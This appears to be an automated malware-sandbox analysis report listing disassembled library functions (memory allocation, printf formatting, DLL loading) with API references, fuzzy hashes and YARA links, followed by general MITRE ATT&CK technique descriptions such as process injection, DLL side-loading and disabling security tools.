Opcode Fuzzy Hash: a9312ae1eca706851c1ae7dedd0e26575104ed2c44f6d4a4bdda249f8d371346
Instruction Fuzzy Hash: 73016D31B002199FCB00DF19D8909DFBBF8EF48654B51841AE8499B700D631AD48CBE0

Function 6CAA94D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

Strings

D($/, xrefs: 6CAA94DC

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: __acrt_iob_func__stdio_common_vfprintf
String ID: D($/
API String ID: 2168557111-324952136
Opcode ID: 17d977f653a9442424bd365dd9bd5e3c8342ae81a03cbf11994baffe083212ae
Instruction ID: 109364907423c635893ad24cd80174f7f9f2c4db0561e4d2e11a6ec50367afb9
Opcode Fuzzy Hash: 17d977f653a9442424bd365dd9bd5e3c8342ae81a03cbf11994baffe083212ae
Instruction Fuzzy Hash: 49F0E931A0020C6FCB009F65EC4DEAF7B78EF46258F408125F8095B241D731A95CCBE5

Function 6CAB38B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(0x%llx,?), ref: 6CAB38ED

Strings

D($/, xrefs: 6CAB38BB
0x%llx, xrefs: 6CAB38E8

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ?vprint@PrintfTarget@mozilla@@
String ID: 0x%llx$D($/
API String ID: 1200798046-862481444
Opcode ID: 54003dfac850501e1d25f374ca9fbce2d91e32a3a85ee3027e0c0a8cbf61d39e
Instruction ID: 73cd4188a375d679997554fb5bdda83d9819e913e6515dd7aeb15ea0ef51472f
Opcode Fuzzy Hash: 54003dfac850501e1d25f374ca9fbce2d91e32a3a85ee3027e0c0a8cbf61d39e
Instruction Fuzzy Hash: 86F04971A002099FCB219F69D8146ABBBF8EF48714F40846ED89A97740D734A448CFE0

Function 6CAC6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CAC6E22
__Init_thread_footer.LIBCMT ref: 6CAC6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CAC6E1D

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 4b977ac3ac77b0307930569aa055e81a94534d8561355bda6976c927c5f7ad1c
Instruction ID: eb9514893a84f036f58396a6958784844c83c5abb5e4a614d91ca076152459b7
Opcode Fuzzy Hash: 4b977ac3ac77b0307930569aa055e81a94534d8561355bda6976c927c5f7ad1c
Instruction Fuzzy Hash: 75F024307063C28FDA04CB68ED50AE13772E38B218F08816ACC0446B51DB20A987FBE3

Function 6CA9D8F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__stdio_common_vswprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,00000009,%08x,00000000,?,?,6CA6ED93), ref: 6CA9D920

Strings

D($/, xrefs: 6CA9D8FB
%08x, xrefs: 6CA9D913

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: __stdio_common_vswprintf
String ID: %08x$D($/
API String ID: 1165403183-276582656
Opcode ID: 38a2fa8c943b1408100900916dfd72cd606060656a24c5adf6e9feb801d9e575
Instruction ID: 4a473276144ff40f8538d0634872ba524559c5842bf29053802c95187628d287
Opcode Fuzzy Hash: 38a2fa8c943b1408100900916dfd72cd606060656a24c5adf6e9feb801d9e575
Instruction Fuzzy Hash: D6F0E531A00208BFCB009F56EC09E9F7FB8EF8A714F408065F9092B241D7316558CBE5

Function 6CA79E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CA79EEF

Strings

NaN, xrefs: 6CA79EC1
Infinity, xrefs: 6CA79EB7

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 2d710fe19f686392907a5f68e9d1f58a8dd35a2706707a2538351840981739f1
Instruction ID: 2e074746e48a8dc9f0ba1440fdb6d456d302142bf1a086b0fdceeb9b842698a7
Opcode Fuzzy Hash: 2d710fe19f686392907a5f68e9d1f58a8dd35a2706707a2538351840981739f1
Instruction Fuzzy Hash: F0F069716023468ADA458B18FD866913BB1F74F31DF248A1ECA040AB40D7356987ABE2

Function 6CA7BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CA7BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CA7BEF5

Strings

cryptbase.dll, xrefs: 6CA7BEF0

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 222b179ec4c4583e5d33f0f289cede81bf714e29660b2e49560a00e0b03a2e14
Instruction ID: 0258cdc89d1364cc7c61081d6e1515586943afa652c9fb6299e10fe3d2745ed5
Opcode Fuzzy Hash: 222b179ec4c4583e5d33f0f289cede81bf714e29660b2e49560a00e0b03a2e14
Instruction Fuzzy Hash: 88D023311C0308EBD7546B90AC0DF153778B705715F10C120F30544951C7B09491DFE4

Function 6CA650E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA64E9C,?,?,?,?,?), ref: 6CA6510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA64E9C,?,?,?,?,?), ref: 6CA65167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CA65196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA64E9C), ref: 6CA65234

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 6d061bd7ae231a4485ac743acafa862cd57051d04900ab54fa6203826765ded4
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: A891C175505656CFCB14CF19C890A56BBA1FF89318B29868CDC589BB16D331FC86CBE0

Function 6CAA08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE7DC), ref: 6CAA0918
LeaveCriticalSection.KERNEL32(6CAEE7DC), ref: 6CAA09A6
EnterCriticalSection.KERNEL32(6CAEE7DC,?,00000000), ref: 6CAA09F3
LeaveCriticalSection.KERNEL32(6CAEE7DC), ref: 6CAA0ACB

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 920680366812dc054bdb136e15ca2d00ed6fd4acf0b85779cf2cb3a1c3cb2a47
Instruction ID: c4538f115ee4bdefb5ccdb4536d164b7a6bd4fbc7c619cd372f3d118a36d72c9
Opcode Fuzzy Hash: 920680366812dc054bdb136e15ca2d00ed6fd4acf0b85779cf2cb3a1c3cb2a47
Instruction Fuzzy Hash: A4514B327017558FEB089AD5D45476673B1EB8AB24B29C23AD96797F80D730E8C397C0

Function 6CABB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CABB2C9,?,?,?,6CABB127,?,?,?,?,?,?,?,?,?,6CABAE52), ref: 6CABB628

Part of subcall function 6CAB90E0: free.MOZGLUE(?,00000000,?,?,6CABDEDB), ref: 6CAB90FF
Part of subcall function 6CAB90E0: free.MOZGLUE(?,00000000,?,?,6CABDEDB), ref: 6CAB9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CABB2C9,?,?,?,6CABB127,?,?,?,?,?,?,?,?,?,6CABAE52), ref: 6CABB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CABB2C9,?,?,?,6CABB127,?,?,?,?,?,?,?,?,?,6CABAE52), ref: 6CABB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CABB127,?,?,?,?,?,?,?,?), ref: 6CABB74D

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 105623b95ad756f5730c2193ee75fe415f61d945270611a97f99308c259c7772
Instruction ID: 764f45e831e3d2a001e99b3d43893bc5011f276cdc6653e740662a37ee062f89
Opcode Fuzzy Hash: 105623b95ad756f5730c2193ee75fe415f61d945270611a97f99308c259c7772
Instruction Fuzzy Hash: B751CD71A023168FDB14CF18E9C06AEB7B9FF45304F498669C85ABB700D731AC84CBA1

Function 6CABDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CAAFF2A), ref: 6CABDFFD

Part of subcall function 6CAB90E0: free.MOZGLUE(?,00000000,?,?,6CABDEDB), ref: 6CAB90FF
Part of subcall function 6CAB90E0: free.MOZGLUE(?,00000000,?,?,6CABDEDB), ref: 6CAB9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAAFF2A), ref: 6CABE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAAFF2A), ref: 6CABE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CAAFF2A), ref: 6CABE0FE

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 61bd176cfcdac9a8a1d62667ea4848b9ca545e429a3a28fee8e9476a52da7a56
Instruction ID: 90844cc2fb9fa220c8c92671ed8058dbf967b9c5a9553ef9c86df035d57ecccf
Opcode Fuzzy Hash: 61bd176cfcdac9a8a1d62667ea4848b9ca545e429a3a28fee8e9476a52da7a56
Instruction Fuzzy Hash: 1841B2B16442168FEB14CF68D88035A77BAFB45308F284979D516EB740E732E985CBD2

Function 6CAB6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CAB6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CAB6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CAB6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAB6F5C

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: c748cb08147d0aba5837cc12f7ce5dd8ea46cf2e4d033f8d8de1c3d0ba4e43e6
Instruction ID: 9ae885a6e1989347a0b116645906c66f0a67d716eb34ed5b3e5c73cae34f9c6a
Opcode Fuzzy Hash: c748cb08147d0aba5837cc12f7ce5dd8ea46cf2e4d033f8d8de1c3d0ba4e43e6
Instruction Fuzzy Hash: 6731C471A1060A8FDB08CF3CC9816AA73F9FB85344F548539D41AD7651EB31E699C790

Function 6CACB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CA70A4D), ref: 6CACB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CA70A4D), ref: 6CACB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CA70A4D), ref: 6CACB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CA70A4D), ref: 6CACB67F

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 317ff2b483ef46866a668315a748178975ad7b22d6b4ee2ad2fc1cf35ec493ca
Instruction ID: f1c3c0d2c2f9ba363cf920021bf003eeadd6d4f50927d0e1926645cba0e51d9a
Opcode Fuzzy Hash: 317ff2b483ef46866a668315a748178975ad7b22d6b4ee2ad2fc1cf35ec493ca
Instruction Fuzzy Hash: 21310471F002168FDB10DF59D84469ABBF6FF84314F1A8629C8069B301EB32E955CBE2

Function 6CA9F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA9F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CA9F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA9F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CA9F668

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 7e9996055965764749463bbcb0a6110aa6ffb1c27be3863ccd5dde5f8575511b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: B7314F71A10214AFC714CF5DCDC1A9BB7F5EB84358B18853DFA498BB04D671F9848B90

Function 6CAB26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAB26C1
free.MOZGLUE(?), ref: 6CAB26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAB26FF
free.MOZGLUE ref: 6CAB270D

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c08a547d7ffbc197e6734c2f661e85cbbd5eb7698693cefe7a2a386a25a04eb3
Instruction ID: 0173dfc3488f50bd7aa22d195824d642ddfad265d86e27ebb77ad0b07fbf764d
Opcode Fuzzy Hash: c08a547d7ffbc197e6734c2f661e85cbbd5eb7698693cefe7a2a386a25a04eb3
Instruction Fuzzy Hash: 8AF0F9B27013025BF7009E18DC8499773ADEF5525CB140136EA16E3B01E331F999C7A5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

